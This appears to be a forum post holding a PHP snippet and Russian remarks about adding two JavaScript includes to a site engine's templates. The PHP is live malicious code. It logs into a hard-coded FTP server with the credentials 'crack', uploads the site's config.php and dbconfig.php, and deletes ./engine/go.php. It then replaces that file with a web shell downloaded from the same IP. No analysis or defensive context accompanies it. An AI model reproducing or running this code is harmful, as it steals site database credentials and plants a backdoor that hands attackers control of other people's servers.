$ftpstream = @ftp_connect('188.230.57.158');
$login = @ftp_login($ftpstream, 'crack', 'crack');
$dig = $_SERVER['SERVER_NAME'];
$file = './engine/data/config.php';
$remote_file = $dig . ".config";
$files = './engine/data/dbconfig.php';
$remote_files = $dig . ".dbconfig";
if (ftp_put($ftpstream, $remote_file, $file, FTP_ASCII)) {
}
if (ftp_put($ftpstream, $remote_files, $files, FTP_ASCII)) {
}
ftp_close($ftpstream);
$brds = unlink('./engine/go.php');
$file = file_get_contents('http://188.230.57.158/shell.txt');
$brd = fopen('./engine/go.php','w+');
if ($write = fwrite($brd, $file)) {
}

дописал
<script type="text/javascript" src="engine/classes/js/dialog.js"></script>
<script type="text/javascript" src="engine/classes/js/effects.js"></script>

перед
<script type="text/javascript" src="engine/skins/calendar.js"></script>
<script type="text/javascript" src="engine/skins/calendar-en.js"></script>
Хотя перед или после не важно